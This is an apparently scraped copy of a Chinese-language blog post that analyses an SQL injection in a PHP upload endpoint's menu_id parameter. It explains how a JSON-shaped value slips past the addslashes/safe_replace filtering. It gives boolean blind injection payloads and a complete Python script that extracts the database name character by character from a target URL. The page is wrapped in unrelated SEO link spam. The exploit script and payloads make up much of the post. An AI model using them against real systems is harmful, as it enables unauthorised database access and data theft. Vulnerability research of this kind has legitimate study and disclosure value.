当前位置: 首页 > news >正文

网站开发与应用磁力猫引擎

网站开发与应用,磁力猫引擎,开发小程序费用一览表,昆明seo推广公司在上篇文章记一次由于整型参数错误导致的任意文件上传的漏洞成因的分析过程中,发现menu_id貌似是存在注入的。 public function upload() {$menu_id $this->post(menu_id);if ($id) {$where "id {$id}";if ($menu_id) {$where . " and menu_id…

在上篇文章记一次由于整型参数错误导致的任意文件上传的漏洞成因的分析过程中,发现menu_id貌似是存在注入的。

public function upload()
{$menu_id = $this->post('menu_id');if ($id) {$where = "id = {$id}";if ($menu_id) {$where .= " and menu_id = '{$menu_id}'";}$config = publics::getOne(ApplyExtraField::TABLE, 'type, options', $where);if (empty($config)) {return $this->returnJson(400, $this->language['parameter_error']);}if (!in_array($config['type'], [8, 11, 12])) {return $this->returnJson(400, $this->language['error_field']);}
}       

可以看到menu_id被拼接到了SQL语句中,跟踪一下找到完整的SQL的执行语句

public static function getOne($tablename, $select = '*', $where, $order = '') {$sql = "select $select from $tablename where $where";if ($order) {$sql .= ' Order By ' . $order;}$ecshopdb = DI::getDefault()->get('db');$stmt     = $ecshopdb->prepare($sql);$stmt->execute([]);$oneResult = $stmt->fetch(\PDO::FETCH_ASSOC);return $oneResult;
}

得到完整的SQL语句

select type,options from $tablename where id={$id} and menu_id='{$menu_id}' Order By {$order};

menu_id可控,但是这里有个过滤,跟进$this->post()

public function post($name, $value = '')
{$str = $this->request->getPost($name);$str = is_string($str) ? trim($str) : $str;//$str = (new aes())->aesDe($str);$str = Helper::new_addslashes($str);if (empty($str) && !empty($value)) {$str = $value;}return $str;
}
public static function new_addslashes($string)
{if (!is_array($string)) {$str = $string;if (!self::isJson($string)) { $str = addslashes($string);$str = self::safe_replace($str);}$str = self::remove_xss($str);return $str;}foreach ($string as $key => $val) {$string[$key] = self::new_addslashes($val);}return $string;
}

关键点在if (!self::isJson($string)),如果这里为True,也就是参数为JSON数据,则不会经过safe_replace()过滤,如果过滤到参数这里就没法玩了。

public static function safe_replace($string)
{$string = str_replace('%20', '', $string);$string = str_replace('%27', '', $string);$string = str_replace('%2527', '', $string);$string = str_replace('*', '', $string);$string = str_replace('"', '"', $string);$string = str_replace("'", '', $string);$string = str_replace(';', '', $string);$string = str_replace('<', '<', $string);$string = str_replace('>', '>', $string);$string = str_replace('\\', '', $string);return $string;
}

那么就可以给menu_idjson数据闭合语句注入即可,例如:{"a":"a'or if(1=1,1,0)-- "}

select type,options from $tablename where id={$id} and menu_id='{"a":"a'or if(1=1,1,0)-- "}' Order By {$order};

并且由于这里有一个查询情况判断

$config = publics::getOne(ApplyExtraField::TABLE, 'type, options', $where);
if (empty($config)) {return $this->returnJson(400, $this->language['parameter_error']);
}if (!in_array($config['type'], [8, 11, 12])) {return $this->returnJson(400, $this->language['error_field']);
}

可以看到,当SQL语句查询失败返回为空时,应该返回parameter_error,当查询成功时,但是因为没有正确格式的menu_id没有查询出type, options,返回的是error_field,至于返回的报错也可以找到对应关系表。如下:

'parameter_error'               => '参数错误',
'error_field'                   => '字段参数错误',

那么接下来就是布尔盲注的过程了,验证下
menu_id = {"a":"a'or if(1=1,1,0)-- "}时,返回的是字段参数错误

在这里插入图片描述

menu_id = {"a":"a'or if(1=0,1,0)-- "}时,返回的是参数错误

在这里插入图片描述

直接写个简单脚本跑一下即可

import requestsmyurl = "https://xxx.xxx.xxx.xxx:xxx/xxx/xxx/xxx/xxx"
myheaders = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0","Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Accept-Encoding": "gzip, deflate", "appid": "950DAB0982FBF45C","Content-Type": "multipart/form-data; boundary=---------------------------38542006312875159874932859608","Origin": "https://xxx.xxx.xxx.xxx:xxx", "Connection": "close", "Referer": "https://xxx.xxx.xxx.xxx:xxx/xxx/xxx/","Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin"}
content = ''
for pos in range(1, 100):min_num = 32max_num = 126mid_num = (min_num + max_num) // 2while min_num < max_num:mydata = "-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"menu_id\"\r\n\r\n{{\"a\":\"a'or if((ord(mid(database(),{},1)))>{},1,0)-- \"}}\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n11136\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"project_id\"\r\n\r\ndde84e3dd838eebf9791ccd614842ac6\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"org_id\"\r\n\r\nc0f8456c51d4aa175abc8e77db6b069a\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"lang\"\r\n\r\nsc\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"time\"\r\n\r\n1691670817\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"hash\"\r\n\r\ne2c8963aaa7e70f73639caf5d7b2b60f\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"file\"; filename=\"pic1.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n\r\n-----------------------------38542006312875159874932859608--\r\n".format(pos, mid_num)resp = requests.post(url=myurl, headers=myheaders, data=mydata)if '字段参数错误' in resp.text:min_num = mid_num + 1else:max_num = mid_nummid_num = (min_num + max_num) // 2content += chr(min_num)print(content)

能跑出数据库名就行了

在这里插入图片描述

http://www.hkea.cn/news/53911/

相关文章:

  • 设计网站大全网公司推广咨询
  • 北京网站建设价格上海关键词排名优化公司
  • 浙江华临建设集团有限公司网站seo优化网站词
  • 服装网站建设规划书范文免费的行情网站
  • 合肥企业自助建站seo课程培训班
  • 企业网站建设总结什么软件可以免费引流
  • 个人博客网站如何做SEO雅诗兰黛网络营销策划书
  • 唐山自助建站软件seo软件优化工具软件
  • 推广电子商务网站的案例网站推广策划书模板
  • 前端外包网站网站优化快速排名软件
  • 凡客做网站cba最新消息
  • 郑州做网站好的公搜索引擎优化好做吗
  • 网站 预算白度
  • 中国电商建站程序信息推广
  • 网站开发教程 布局优化技术
  • 做外贸网站需要请外贸文员吗网站seo诊断分析和优化方案
  • 百度网站怎么做的赚钱吗seo中文含义
  • 做网站界面的软件互联网培训
  • 电子商务网站建设与维护李建忠高级搜索引擎技巧
  • 做地产网站全网搜索软件
  • 网站开发培训班百度网站推广关键词怎么查
  • 东莞市做网站公司seo怎样
  • ps做网站大小尺寸应用商店优化
  • 网站站群建设方案知名网页设计公司
  • 广州网站建设公司哪家好专业的seo搜索引擎优化培训
  • 外国人做汉字网站seo搜索排名影响因素主要有
  • 外贸五金网站建设网站制作优化排名
  • 义乌网站建设多少钱网络平台营销
  • 怀仁有做网站的公司吗磁力搜索引擎2023
  • 建站行业都扁平化设计合肥网站推广公司哪家好